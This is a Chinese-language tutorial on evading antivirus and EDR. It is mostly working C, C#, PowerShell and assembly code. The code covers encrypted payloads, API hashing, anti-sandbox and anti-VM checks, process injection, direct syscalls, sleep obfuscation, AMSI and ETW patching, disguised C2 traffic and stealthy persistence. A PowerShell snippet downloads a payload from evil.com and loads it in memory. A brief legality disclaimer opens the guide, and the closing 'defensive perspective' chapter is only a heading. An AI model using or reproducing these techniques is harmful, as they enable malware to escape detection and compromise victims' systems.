免杀(Antivirus Evasion)是攻防对抗中最核心的课题之一。杀软(AV)和 EDR 的检测能力在持续进化,攻击者的免杀技术也在同步迭代。本文从检测原理出发,系统梳理静态免杀、动态免杀、内存免杀、流量免杀的全链路技术,覆盖从入门到高级的完整方法论。

本文的初衷是帮助安全从业者理解免杀技术,从而更好地构建防御体系。所有技术均应在合法授权范围内使用。

第一章:杀软与 EDR 的检测原理

1.1 检测技术栈

要绕过检测,先理解检测。杀软和 EDR 的工作方式分为以下层次:

杀软/EDR检测技术栈:

┌──────────────────────────────────────┐
│         第五层: 行为分析/ML          │
│  进程链分析、行为序列、机器学习模型  │
├──────────────────────────────────────┤
│         第四层: 动态启发式           │
│  沙箱执行、API监控、内存扫描        │
├──────────────────────────────────────┤
│         第三层: 静态启发式           │
│  代码分析、导入表分析、熵值检测     │
├──────────────────────────────────────┤
│         第二层: 特征码匹配           │
│  文件哈希、字节序列、字符串匹配     │
├──────────────────────────────────────┤
│         第一层: 信誉与云查           │
│  文件签名、下载来源、云沙箱、VT联动 │
└──────────────────────────────────────┘

1.2 各层检测的绕过思路

检测层

检测什么

绕过思路(全文核心)

特征码

字节序列、字符串、Hash

加密/编码/混淆/变形/加壳

静态启发

导入表、API 调用模式、资源

API 动态解析、导入表混淆、延迟导入

动态启发

沙箱行为

反沙箱(延时/环境检测/用户交互检测)

行为分析

进程链、父子关系

PPID 欺骗、进程注入、LOLBin

内存扫描

内存中的恶意代码

分段加载、内存加密、回调注入

云查/信誉

文件签名、VT 上传

签名伪造、数字签名、分阶段投递


第二章:静态免杀——让文件看起来无害

2.1 字符串加密与隐藏

杀软最常见的特征码匹配之一:敏感字符串。

// ====== 未处理(杀软一眼识别) ======
char* cmd = "powershell -WindowStyle Hidden -EncodedCommand SQBFAFgA...";
char* url = "http://evil-c2.com/payload";
char* key = "AES-256-CBC";
// 这些字符串直接出现在二进制中 → 特征库匹配 → 查杀

// ====== 方法1: XOR加密(运行时解密) ======
char encrypted_cmd[] = {
    0x10, 0x2E, 0x3F, 0x41, 0x55, 0x62, 0x7E, 0x8A, // 每字节XOR 0x5A
    // ...
};

void decrypt_string(char* buf, int len, char key) {
    for (int i = 0; i < len; i++) {
        buf[i] ^= key;
    }
}
// 使用时: decrypt_string(encrypted_cmd, sizeof(encrypted_cmd), 0x5A);
//         system(encrypted_cmd);

// ====== 方法2: 栈字符串(编译时XOR) ======
// 用宏在编译时自动加密,运行时自动解密
#define STACKSTR(var, str) \
    char var[] = { ENCRYPT_STR(str) }; \
    XOR_DECRYPT(var, sizeof(var));

// ====== 方法3: Base64 + 自定义表(打乱标准Base64字符集) ======
const char custom_b64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
// → 替换字符顺序,使标准base64_decode失效
// → 无法通过base64识别原始内容

// ====== 方法4: 白加黑——利用合法程序的字符串 ======
// 不自己写敏感字符串
// 劫持合法DLL → 合法DLL本身有正常的字符串
// 内存中动态构造敏感字符串

2.2 导入表混淆

杀软的静态启发式会分析 PE 文件的导入表(IAT),寻找危险 API 的组合。

正常程序导入的API:
kernel32.dll → CreateFile, ReadFile, WriteFile, CloseHandle  ← 正常

恶意程序导入的API:
kernel32.dll → VirtualAlloc, VirtualProtect, WriteProcessMemory, CreateRemoteThread
                                                     ↑ 高危API组合

动态解析 API 地址(最基础的免杀手段)

// ====== 反模式: 静态导入危险API ======
#include <windows.h>
// 编译后的IAT中直接包含 VirtualAlloc, CreateRemoteThread 等
// → 杀软一看IAT就知道了

// ====== 正模式: 运行时动态解析 ======
typedef LPVOID (WINAPI *pVirtualAlloc)(
    LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect
);

typedef HANDLE (WINAPI *pCreateRemoteThread)(
    HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes,
    SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId
);

// 1. 获取kernel32.dll的基址(通过PEB遍历)
HMODULE GetKernel32() {
    // 从PEB的InMemoryOrderModuleList中遍历找到kernel32.dll
    // PEB → PEB_LDR_DATA → InMemoryOrderModuleList → kernel32.dll
    PPEB peb = (PPEB)__readgsqword(0x60);  // x64
    PLDR_DATA_TABLE_ENTRY ldrEntry = (PLDR_DATA_TABLE_ENTRY)
        peb->Ldr->InMemoryOrderModuleList.Flink;
    while (ldrEntry->DllBase != NULL) {
        // 比较DLL名称 → 找到kernel32.dll
    }
}

// 2. 从kernel32.dll导出表中查找GetProcAddress
// 3. 用GetProcAddress获取LoadLibraryA
// 4. 用LoadLibraryA加载其他DLL
// 5. 通过GetProcAddress获取所有需要的API

// 最终IAT中只有kernel32.dll的3-4个基础API
// 所有危险API全部动态解析 → 绕过IAT检测

按 Hash 解析 API(更进一步)

// 不在代码中保留API名称字符串,改用Hash比较
// 遍历导出表时: hash(导出函数名) == 目标hash → 找到目标

DWORD HashString(char* str) {
    DWORD hash = 0;
    while (*str) {
        hash = ((hash >> 13) | (hash << 19)) + *str++;
    }
    return hash;
}

// 预计算的hash值(编译时手动算好)
#define HASH_VirtualAlloc    0x91AFCA54
#define HASH_CreateThread    0x78B0D62E
#define HASH_NtAllocateVirtualMemory  0xF783B8EC
// ...

PVOID GetProcByHash(HMODULE hModule, DWORD targetHash) {
    // 遍历导出表 → 比较每个函数名的hash → 匹配则返回地址
    // 完全避免了字符串匹配检测
}

2.3 Payload 加密存储

// ====== 五层加密方案 ======

// Layer 1: 选择加密算法
// AES-256-CBC → 加密shellcode/EXE/DLL
// 密钥: 从环境变量/注册表/本地文件中读取(不硬编码)

// Layer 2: 分片存储
// 将加密后的payload切割成多块
// 每块存储在不同位置: 资源段、.data段、注册表、环境变量

// Layer 3: 密钥派生
// key = Hash(机器名 + 用户名 + 特定注册表值)
// 确保密钥在不同机器上不同 → 沙箱分析时解密失败
BYTE* derive_key() {
    char hostname[256];
    DWORD size = sizeof(hostname);
    GetComputerNameA(hostname, &size);

    char username[256];
    size = sizeof(username);
    GetUserNameA(username, &size);

    char combined[512];
    snprintf(combined, sizeof(combined), "%s:%s:SPECIAL_SALT", hostname, username);

    // SHA256 hash作为AES密钥
    // ...
}

// Layer 4: 运行时解密后分段加载到内存
// 将payload分5段 → 分别VirtualAlloc到不同内存区域
// → 每段内存独立 → 内存扫描难以拼凑完整payload

// Layer 5: 使用后立即擦除
// 执行完一段 → memset清零 → VirtualFree释放

2.4 资源段隐藏 Payload

// ====== 将恶意Payload藏在PE资源段 ======

// 1. 创建资源脚本 (.rc文件)
// IDR_SHELLCODE_BIN RCDATA "encrypted_payload.bin"
// IDR_SHELLCODE_KEY RCDATA "key.bin"

// 2. 编译时自动嵌入
// windres resource.rc -o resource.o

// 3. 运行时提取
HRSRC hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_SHELLCODE_BIN), RT_RCDATA);
HGLOBAL hResData = LoadResource(NULL, hResInfo);
DWORD payloadSize = SizeofResource(NULL, hResInfo);
LPVOID payloadData = LockResource(hResData);

// 4. 解密后执行
BYTE* decrypted = (BYTE*)VirtualAlloc(NULL, payloadSize, MEM_COMMIT, PAGE_READWRITE);
AES_Decrypt(payloadData, decrypted, payloadSize, key);
VirtualProtect(decrypted, payloadSize, PAGE_EXECUTE_READ, &oldProtect);
((void(*)())decrypted)();  // 执行shellcode

// 优势:
// - Payload不在.data/.text段 → 静态分析不直接看到
// - 可以用多段资源片段分散存储
// - 资源可以被压缩(减小文件体积)

2.5 代码混淆与控制流平坦化

// ====== 原始代码(清晰的逻辑) ======
void malware_main() {
    download_payload();
    decrypt_payload();
    inject_payload();
    persist();
    communicate_c2();
}

// ====== 控制流平坦化(Control Flow Flattening) ======
void malware_main_obfuscated() {
    int state = 0xDEAD;
    while (state != 0xBEEF) {
        switch (state) {
            case 0xDEAD:
                // 无意义的计算凑数
                int tmp = (GetTickCount() * 1337) % 9999;
                state = (tmp > 5000) ? 0x1234 : 0x5678;
                break;
            case 0x1234:
                // 真正的download_payload被拆成多块
                state = do_download_part1();
                break;
            case 0x5678:
                // 插入反沙箱检测
                if (is_sandbox()) {
                    state = 0x9999; // 退出
                } else {
                    state = 0xABCD;
                }
                break;
            case 0xABCD:
                // 真正的decrypt + inject
                state = do_evil_stuff();
                break;
            // ... 更多状态
        }
    }
}

// LLVM Obfuscator (OLLVM) 可以自动实现:
// 1. 控制流平坦化 (-mllvm -fla)
// 2. 指令替换 (-mllvm -sub)
// 3. 虚假控制流 (-mllvm -bcf)
// 4. 字符串加密 (-mllvm -sobf)

2.6 花指令(Junk Code)

; ====== 插入无意义的花指令干扰反汇编器 ======
; 原始指令:
    mov eax, [esp+4]
    add eax, 1
    ret

; 插入花指令后:
    mov eax, [esp+4]
    jz  label1           ; 永假跳转(但反汇编器不一定能判断)
    jnz label2           ; 永真跳转(跳到真正的下一条)
label1:
    db 0xE8              ; 垃圾字节(反汇编器误解析为call指令)
label2:
    add eax, 1
    call $+5             ; 调用下一条指令地址 → push返回地址但不影响执行
    add esp, 4           ; 平衡栈(清理上面call压入的返回地址)
    ret

; 效果: IDA/Ghidra的反汇编输出被打乱
; 静态分析人员需要花更多时间清理花指令

2.7 PE 文件变形

// ====== PE结构微调绕过Hash检测 ======

// 1. 修改TimeDateStamp
// PE头中的时间戳 → 每次编译生成不同的值

// 2. 修改节名称
// .text → .code, .data → .dat1, .rdata → .rdat

// 3. 增加无用节(Section)
// 在PE中插入一个名为 .junk 或 .pad 的空节
// 改变文件的整体Hash

// 4. 修改DOS Stub
// PE头中的DOS Stub内容可以任意修改
printf("This program cannot be run in DOS mode.\r\n");
// 改为:
printf("Hello World! Please use Windows.\r\n");

// 5. 修改链接器版本和特性
// PE可选头中的MajorLinkerVersion/MinorLinkerVersion
// 修改这些不影响执行但改变Hash的字段

// 6. 增加Overlay数据(PE尾部附加随机数据)
// 在PE文件末尾追加随机字节
// 改变文件Hash但程序完全不受影响

第三章:动态免杀——让沙箱分析失败

3.1 反沙箱技术

沙箱模拟环境执行可疑文件,监控其行为。绕过沙箱的核心思路是让恶意行为在沙箱中不触发。

// ====== 1. 延时执行——等待沙箱超时 ======
// 大多数沙箱有分析时间限制(通常2-5分钟)
void delayed_execution() {
    DWORD start = GetTickCount();
    // 等待300秒(5分钟)
    while (GetTickCount() - start < 300000) {
        Sleep(1000);
        // 做一些无意义的计算来迷惑CPU监控
        volatile int x = 0;
        for (int i = 0; i < 1000000; i++) { x += i; }
    }
    // 沙箱超时退出后 → 真正Payload才开始执行
    real_malware_main();
}

// ====== 2. 用户交互检测——沙箱通常无交互 ======
BOOL is_user_present() {
    // 检测鼠标移动
    POINT prevPos, currPos;
    GetCursorPos(&prevPos);
    Sleep(30000);  // 等待30秒
    GetCursorPos(&currPos);

    // 如果30秒内鼠标没有移动 → 很可能是沙箱
    if (prevPos.x == currPos.x && prevPos.y == currPos.y) {
        return FALSE;
    }

    // 检测键盘活动
    LASTINPUTINFO lii;
    lii.cbSize = sizeof(LASTINPUTINFO);
    GetLastInputInfo(&lii);
    // 如果5分钟内没有键盘输入 → 可疑
    if (GetTickCount() - lii.dwTime > 300000) {
        return FALSE;
    }

    return TRUE;
}

// ====== 3. 环境特征检测 ======
BOOL is_sandbox() {
    // 检测1: 磁盘大小(沙箱通常<60GB)
    ULARGE_INTEGER totalBytes;
    GetDiskFreeSpaceExA("C:\\", NULL, &totalBytes, NULL);
    ULONGLONG totalGB = totalBytes.QuadPart / (1024 * 1024 * 1024);
    if (totalGB < 60) return TRUE;

    // 检测2: 内存大小(沙箱通常<4GB)
    MEMORYSTATUSEX memInfo;
    memInfo.dwLength = sizeof(MEMORYSTATUSEX);
    GlobalMemoryStatusEx(&memInfo);
    if (memInfo.ullTotalPhys < 4ULL * 1024 * 1024 * 1024) return TRUE;

    // 检测3: CPU核心数(沙箱通常1-2核)
    SYSTEM_INFO sysInfo;
    GetSystemInfo(&sysInfo);
    if (sysInfo.dwNumberOfProcessors < 2) return TRUE;

    // 检测4: 屏幕分辨率(沙箱常见1024x768或更低)
    int screenX = GetSystemMetrics(SM_CXSCREEN);
    int screenY = GetSystemMetrics(SM_CYSCREEN);
    if (screenX < 1280 || screenY < 800) return TRUE;

    // 检测5: 虚拟机特征
    // VMware MAC: 00:0C:29, 00:50:56, 00:05:69
    // VirtualBox MAC: 08:00:27
    // 检测DMI信息: "VMware", "VirtualBox", "QEMU"
    // 检测VMware Tools进程: vmtoolsd.exe

    // 检测6: 运行时间(沙箱通常是刚启动的)
    if (GetTickCount() < 600000) return TRUE;  // <10分钟

    // 检测7: 用户文件夹中文件数量
    // 沙箱的Document/Desktop通常很空
    // 真实用户有大量文件

    // 检测8: 是否有常见杀软进程
    // 真实主机通常有杀软 → 沙箱可能没有

    return FALSE;  // 通过所有检测 → 大概率真实环境
}

// ====== 4. 网络环境检测 ======
BOOL check_network() {
    // 沙箱网络往往是受限或模拟的
    // 尝试解析一些域名看是否正常
    // 尝试连接知名网站(baidu.com/google.com)是否成功

    // Wireshark/TCPView存在的检测
    // 沙箱分析环境常安装这些工具
}

// ====== 5. 调试器检测 ======
BOOL is_debugger_present() {
    // 方法1: IsDebuggerPresent()
    if (IsDebuggerPresent()) return TRUE;

    // 方法2: PEB中的BeingDebugged标志
    // __readgsqword(0x60) + 0x2 → BeingDebugged

    // 方法3: NtGlobalFlag
    // PEB+0xBC → NtGlobalFlag & 0x70 != 0

    // 方法4: NtQueryInformationProcess(ProcessDebugPort)
    // 方法5: CloseHandle(INVALID_HANDLE_VALUE) 触发异常
    // 方法6: 时间检测 - 单步执行会显著变慢
    // 方法7: int 2d / int 3 调试中断

    return FALSE;
}

3.2 反虚拟机检测

// ====== VMWare检测 ======
BOOL is_vmware() {
    // 1. MAC地址前缀
    // VMware: 00:0C:29, 00:50:56, 00:05:69

    // 2. 注册表
    // HKLM\SOFTWARE\VMware, Inc.\VMware Tools

    // 3. 进程
    // vmtoolsd.exe, vmwaretray.exe

    // 4. BIOS信息
    // "VMware", "VMware7,1"

    // 5. CPUID指令
    // cpuid(0x40000000) → hypervisor vendor string
    // "VMwareVMware" → VMware

    // 6. 通信端口
    // VMware I/O port: 0x5658 ("VX")
    __try {
        __asm {
            mov eax, 'VMXh'
            mov ecx, 0Ah
            mov dx, 0x5658
            in eax, dx
        }
        return TRUE;  // VMware响应了
    } __except(EXCEPTION_EXECUTE_HANDLER) {}

    return FALSE;
}

// ====== VirtualBox检测 ======
BOOL is_virtualbox() {
    // 1. MAC: 08:00:27
    // 2. 进程: VBoxService.exe, VBoxTray.exe
    // 3. 注册表: HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
    // 4. DMI: "VirtualBox"
    // 5. PCI设备: VEN_80EE (VirtualBox PCI vendor)

    return FALSE;
}

3.3 COM 劫持绕过父子进程检测

EDR 会监控进程树:Word → cmd → PowerShell → 恶意行为。打乱这个进程链可以混淆 EDR。

传统进程链(容易被EDR告警):
winword.exe → powershell.exe → rundll32.exe → 恶意行为
         ↑ EDR告警: Office创建了PowerShell子进程

COM劫持进程链(更难追踪):
winword.exe → COM调用 → dllhost.exe(svchost) → 恶意行为
         ↑ 通过COM间接创建 → 父子关系被打破

// COM劫持: 修改CLSID注册表
// HKCU\Software\Classes\CLSID\{GUID}\LocalServer32
// → 指向恶意DLL
// 当合法程序调用该COM对象时 → 恶意DLL被加载
// → 恶意代码在合法进程中执行

第四章:内存免杀——让内存扫描失效

4.1 进程注入技术全家桶

// ====== 1. 经典CreateRemoteThread注入 ======
// 最经典也最容易被检测
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, payloadSize,
                                   MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteMem, payload, payloadSize, NULL);
VirtualProtectEx(hProcess, remoteMem, payloadSize, PAGE_EXECUTE_READ, &oldProtect);
CreateRemoteThread(hProcess, NULL, 0, remoteMem, NULL, 0, NULL);
// EDR检测点: VirtualAllocEx + WriteProcessMemory + CreateRemoteThread 组合

// ====== 2. NtCreateThreadEx(更底层,绕过部分Hook) ======
// kernel32的CreateRemoteThread → 底层调用ntdll的NtCreateThreadEx
// 有些杀软Hook了kernel32但没Hook ntdll
typedef NTSTATUS (NTAPI *pNtCreateThreadEx)(
    PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG,
    SIZE_T, SIZE_T, SIZE_T, PVOID
);
// 从ntdll.dll动态获取NtCreateThreadEx → 直接调用syscall

// ====== 3. 进程镂空 (Process Hollowing) ======
// 启动一个挂起状态的新进程(如svchost.exe)
// → 卸载其原始代码 → 注入恶意代码 → 恢复执行
// → 进程名正常,但代码是恶意的
CreateProcessA("C:\\Windows\\System32\\svchost.exe", ...,
               CREATE_SUSPENDED, ..., &pi);
// 1. 获取挂起进程的上下文
// 2. 从PEB中拿到ImageBase
// 3. NtUnmapViewOfSection → 卸载原始镜像
// 4. VirtualAllocEx → 分配新内存
// 5. WriteProcessMemory → 写入恶意PE
// 6. SetThreadContext → 修改入口点
// 7. ResumeThread → 恢复执行
// → svchost.exe运行的是木马代码

// ====== 4. APC注入 (Asynchronous Procedure Call) ======
// 在目标线程的APC队列中插入恶意代码
// 线程下次调度时自动执行 → 不需要CreateRemoteThread
QueueUserAPC(payload, hThread, 0);
// 优点: 线程已经有正常上下文,不像新线程那样突然出现

// ====== 5. 线程劫持 (Thread Hijacking) ======
// 暂停目标进程的一个现有线程
// → 修改线程上下文中的RIP/EIP指向shellcode
// → 恢复线程 → 在现有线程中执行恶意代码
SuspendThread(hThread);
GetThreadContext(hThread, &ctx);
ctx.Rip = (DWORD64)remoteShellcode;  // x64
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
// 没有创建新线程 → 绕过了"检测远程线程创建"的EDR规则

// ====== 6. Atom Bombing ======
// 利用Windows全局Atom表传递shellcode
// A. 将shellcode写入Global Atom Table
GlobalAddAtomA(shellcode_chunk);
// B. 利用GlobalGetAtomNameA在目标进程中读取
// C. 配合APC注入执行

// ====== 7. 回调注入(绕过CreateRemoteThread检测) ======
// 利用SetWinEventHook → 设置全局事件钩子
// → 事件触发时系统自动在目标进程中执行回调函数
SetWinEventHook(EVENT_OBJECT_CREATE, EVENT_OBJECT_CREATE,
                NULL, shellcode, targetPid, targetTid,
                WINEVENT_OUTOFCONTEXT);

// 还有:
// - SetThreadpoolTimer → 线程池定时器回调
// - QueueUserWorkItem → 线程池工作项回调
// - CertEnumSystemStore → 证书枚举回调
// - CreateTimerQueueTimer → 定时器回调

4.2 Syscall 直通——绕过用户态 Hook

EDR 通过 Hook ntdll.dll 中的函数来监控系统调用。直接使用 syscall 指令可以完全绕过这些 Hook。

// ====== EDR Hook工作原理 ======
// ntdll.dll中的NtAllocateVirtualMemory:
//   原始: mov r10, rcx; mov eax, 0x18; syscall; ret
//   EDR Hook后: jmp <EDR的检测代码>; ...; jmp 原始代码
//   EDR在每次syscall前检查参数和行为

// ====== 绕过: 直接构造syscall ======

// 方法1: 直接内联汇编发起syscall
__asm {
    mov r10, rcx          // NtAllocateVirtualMemory的syscall号
    mov eax, 0x18         // Syscall ID for NtAllocateVirtualMemory
    syscall               // 直接进入内核,绕过ntdll Hook
    ret
}

// 方法2: 从ntdll.dll读取syscall ID (SNR)
// 不同Windows版本的syscall号不同
DWORD get_syscall_id(char* funcName) {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    PVOID funcAddr = GetProcAddress(ntdll, funcName);
    // 从函数开头读取: mov r10, rcx; mov eax, <SNR>; ...
    // 提取syscall号
    return *(DWORD*)((BYTE*)funcAddr + 4); // syscall号在偏移4处
}

// 方法3: Hell's Gate技术
// 动态解析ntdll → 即使在已经被Hook的情况下
// 通过读取磁盘上的ntdll.dll → 拿到原始syscall号
// → 构造syscall调用

// 方法4: Halo's Gate (Hell's Gate改进版)
// 如果目标函数的Hook导致无法获取syscall号
// → 从相邻函数的syscall号推算(相邻函数syscall号连续或规律)

// 方法5: 间接syscall
// 不直接call syscall指令
// 而是在ntdll中找一个syscall;ret的地址
// jmp到那个地址 → ntdll的代码段 → 绕过对"非ntdll执行syscall"的检测

4.3 内存加密与 Sleep Obfuscation

// ====== Sleep Obfuscation (睡眠混淆) ======
// EDR会定期扫描进程内存
// 在sleep期间加密内存 → EDR扫描到的是加密数据

void obfuscated_sleep(DWORD milliseconds) {
    // 1. 保存当前执行位置和shellcode区域
    // 2. XOR/AES加密整个shellcode内存区域
    // 3. 修改内存权限为PAGE_NOACCESS(让扫描也读不到)
    // 4. Sleep(毫秒)
    // 5. 修改内存权限回PAGE_EXECUTE_READ
    // 6. 解密shellcode
    // 7. 继续执行

    // 实际实现:
    MEMORY_BASIC_INFORMATION mbi;
    VirtualQuery(shellcode_addr, &mbi, sizeof(mbi));

    // 加密
    xor_encrypt(shellcode_addr, shellcode_size, sleep_key);

    // 设为不可访问
    DWORD oldProtect;
    VirtualProtect(shellcode_addr, shellcode_size, PAGE_NOACCESS, &oldProtect);

    // 睡眠(此时EDR无法读取shellcode区域)
    Sleep(milliseconds);

    // 恢复
    VirtualProtect(shellcode_addr, shellcode_size, PAGE_EXECUTE_READ, &oldProtect);
    xor_decrypt(shellcode_addr, shellcode_size, sleep_key);
}

// ====== Ekko/堆栈混淆 ======
// 利用计时器队列 + 异步过程调用
// 在sleep期间用定时器回调来定期加密/解密内存
// 更隐蔽的睡眠混淆方案

第五章:流量免杀——让 C2 通信不可见

5.1 C2 通信伪装

# ====== 1. 伪装正常Web流量 ======
# 模仿常见应用的API请求模式
# 请求格式完全模拟:
# - 微软Teams/Office 365 API
# - Google Analytics
# - 微信公众平台API
# - 钉钉/飞书开放平台API

# 流量特征:
# - 正常的User-Agent
# - 正常的Accept/Content-Type头
# - 请求体格式符合对应平台的JSON/Form规范
# - 加密payload藏在合法字段中

# ====== 2. CDN前置C2 ======
# C2服务器藏在Cloudflare/Akamai/阿里云CDN后面
# 受害者 → CDN → 真实C2
# EDR看到的连接目标: 知名CDN的IP → 被放行

# ====== 3. 域前置 (Domain Fronting) ======
# 利用CDN的SNI和Host不一致
# SNI: www.trusted-site.com(正常域名)
# Host: evil-c2.real-attacker.com(真实C2域名)
# CDN根据Host转发到真实C2
# 中间设备看到的SNI是正常域名 → 放行

# ====== 4. 社交平台作为C2 ======
# 使用Twitter/GitHub/Telegram/Discord作为通信中继
# - GitHub Gist/Issue → 下发命令
# - Twitter DM → 回传数据
# - Discord Bot → 实时控制
# - 钉钉/飞书机器人 → 国内隐蔽通道

# ====== 5. DNS隧道 ======
# C2通信完全通过DNS协议
# A记录查询: <base64_encoded_data>.c2.example.com
# TXT记录响应: 下发base64编码的命令

# ====== 6. ICMP隧道 ======
# 利用ICMP的Data字段传输数据
# 正常ping只有32-56字节数据
# 隧道ping有1000+字节数据 → 需伪装

5.2 JA3/JA4 指纹对抗

# TLS Client Hello中的指纹
# 默认的WinHTTP/WinINET JA3指纹被EDR标记为可疑

# 方法1: 修改TLS密码套件顺序
# 使用自定义的cipher suite列表 → 改变JA3指纹

# 方法2: 使用非默认的TLS扩展
# 添加ALPN/SNI/等扩展 → 改变指纹

# 方法3: 完全模拟浏览器TLS指纹
# 使用Chrome/Firefox的JA3指纹
# 使用Chromium Embedded Framework(CEF)
# 或编译Chrome网络栈

# 方法4: 自定义TLS实现
# 不依赖操作系统的TLS库
# 自己实现TLS握手 + 自定义参数

第六章:各语言免杀实战

6.1 C/C++免杀

// 完整免杀框架设计要点:

// 1. 使用CMake的Release + LTO + Strip
// 2. 所有字符串XOR
// 3. 所有API动态解析
// 4. 导入表最小化 (只保留3-5个基础API)
// 5. 反调试/反沙箱/反虚拟机
// 6. 分段payload加载
// 7. 内存运行时加密
// 8. 不使用CreateRemoteThread(用回调代替)
// 9. syscall直通

// 编译优化:
// cl /O2 /GL /GS- /Gy /MT /link /LTCG /OPT:REF /OPT:ICF

6.2 C#免杀

// ====== C#免杀要点 ======

// 1. 不使用Assembly.Load (已被重点监控)
// 替代: 使用AppDomain.CurrentDomain.AssemblyResolve事件
// 或者使用Assembly.Load(byte[], byte[])重载

// 2. DllImport动态解析
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(...);
// 改为:
delegate IntPtr VirtualAllocDelegate(...);
IntPtr kernel32 = LoadLibrary("kernel32.dll");
IntPtr funcPtr = GetProcAddress(kernel32, "VirtualAlloc");
VirtualAllocDelegate VirtualAlloc =
    Marshal.GetDelegateForFunctionPointer<VirtualAllocDelegate>(funcPtr);

// 3. AMSI绕过
// .NET的AMSI会扫描Assembly.Load加载的内容
// 需要先patch AMSI
// 方法:
// - AmsiInitialize → 找到AmsiScanBuffer → patch开头返回AMSI_RESULT_CLEAN
// - 或使用amsi.fail技术

// 4. ETW绕过
// ETW (Event Tracing for Windows) 记录.NET运行时事件
// patch EtwEventWrite → 直接返回
// 或者设置环境变量 COMPlus_ETWEnabled=0

// 5. 混淆
// ConfuserEx / Obfuscar / .NET Reactor
// 字符串加密 + 控制流混淆 + 反篡改 + 资源加密

6.3 PowerShell 免杀

# ====== PowerShell免杀要点 ======

# 1. 不使用字符串形式的IEX
# 反模式: IEX(New-Object Net.WebClient).DownloadString(...)
# 正模式:
$w = New-Object Net.WebClient
$d = $w.DownloadData('http://evil.com/payload.bin')
$asm = [System.Reflection.Assembly]::Load($d)
$asm.EntryPoint.Invoke($null, $null)

# 2. 编码绕过
# Base64编码: -EncodedCommand
# 自定义XOR编码(运行时解码后eval)

# 3. 拆解执行
# 将payload分片 → 多步拼接 → 最后执行
$p1 = "I"; $p2 = "E"; $p3 = "X"
$cmd = $p1 + $p2 + $p3

# 4. AMSI绕过
# [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
#   .GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# 5. 无文件执行
# 反射加载.NET Assembly到内存
# 或使用Invoke-ReflectivePEInjection

6.4 Go 免杀

// Go编译的二进制体积大 → 容易被特征码盯上

// 1. 使用garble混淆编译
// garble -literals -tiny build -ldflags="-s -w" main.go
// -literals: 替换字符串字面量
// -tiny: 移除调试信息

// 2. 延迟syscall实现
// 不使用golang.org/x/sys/windows
// 直接用汇编syscall

// 3. 避免Go运行时特征
// Go的调度器、GC、内存分配有自己的模式
// 可以用-no-builtin减少Go运行时特征

// 4. SYSCALL封装
// Go代码 → cgo → C → syscall
// 破坏Go本身的调用模式

第七章:实战免杀框架设计

7.1 分段加载架构

高级免杀框架架构:

阶段0: Dropper (投递器)
├── 极其简单的代码(几乎无恶意特征)
├── 功能: 下载下一阶段 + 验证环境
├── 反沙箱检测(本章3.1节全量)
└── 密钥派生(从环境获取密钥)

阶段1: Loader (加载器)
├── 从阶段0接收加密的stage2
├── 内存中解密
├── 反射加载(PE/DLL/shellcode)
└── 执行后自毁(ZeroMemory覆盖)

阶段2: Core (核心木马)
├── 真正的恶意功能
├── C2通信 + 加密流量
├── 持久化机制
└── 数据窃取/远程控制

每一阶段独立编译、独立加密、独立免杀处理
任一阶段被查杀 → 只需替换该阶段

7.2 持久化免杀

// ====== 绕过Autoruns检测的持久化方案 ======

// 1. 劫持合法计划任务
// 不创建新计划任务 → 修改已有的系统计划任务
// 修改任务"Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser"
// 的操作为: 先执行恶意程序 → 再执行原始程序

// 2. WMI事件订阅(隐蔽性极高)
// 创建 __EventFilter + __EventConsumer + __FilterToConsumerBinding
// 在特定事件(如进程启动、服务启动)时触发恶意代码
// Autoruns等工具难以枚举

// 3. COM劫持
// 修改CLSID的InprocServer32 → 指向恶意DLL
// 当合法程序调用COM → 恶意DLL被加载
// 常见劫持:
//   - 任务栏 (explorer.exe在启动时调用多个COM)
//   - Shell Extension → 资源管理器调用

// 4. 服务持久化(伪装系统服务名)
// 服务名: MicrosoftEdgeUpdate, WindowsDefenderUpdater 等
// 模仿正常服务名 → 人工排查时容易被忽略

// 5. Bootkit/UEFI持久化(最高级)
// 固件级别的持久化 → 重装系统也无法清除
// 但难度极高,留给APT级别的

第八章:免杀效果测试与验证

8.1 检测工具矩阵

# === 本地检测 ===
# Windows Defender (最基础的测试)
# Kaspersky / Bitdefender / ESET (高强度测试)

# === 在线多引擎扫描 ===
# VirusTotal (注意: 样本会上传到各家杀软!)
# https://www.virustotal.com/
# 使用前确认样本不会泄露

# AntiScan.Me
# https://antiscan.me/

# NoDistribute
# https://nodistribute.com/  (不分发样本)

# === EDR测试 ===
# Elastic EDR (免费层)
# Wazuh (开源EDR)
# Microsoft Defender for Endpoint (MDE) 评估版

# === 沙箱测试 ===
# Any.Run (交互式)
# Joe Sandbox
# Hybrid Analysis
# Triage
# CAPE Sandbox (自建)

# === 内存扫描测试 ===
# Pe-sieve (检测进程注入)
# Moneta (内存取证)
# mal_unpack (脱壳检测)

8.2 测试流程

免杀测试标准流程:

1. 静态扫描
   ├── 上传VT → 查看静态检测率
   ├── 使用capa/CAPA分析提取的特征
   └── 使用pestudio查看导入表和字符串

2. 沙箱分析
   ├── Any.Run → 查看行为是否被识别
   ├── 如果沙箱捕获了恶意行为 → 回到第三章加强反沙箱
   └── 如果沙箱超时未检测到 → 反沙箱有效

3. 动态执行
   ├── 本地VM + ProcMon → 看行为链
   ├── 本地VM + EDR → 是否触发告警
   └── 本地VM + AV实时防护 → 执行时是否被拦截

4. 内存分析
   ├── Pe-sieve → 检测注入的代码
   ├── Moneta → 检测可疑内存区域
   └── 如果有告警 → 回到第四章加强内存免杀

第九章:防御视角

9.1 如何检测免杀木马

检测思路(防御方):

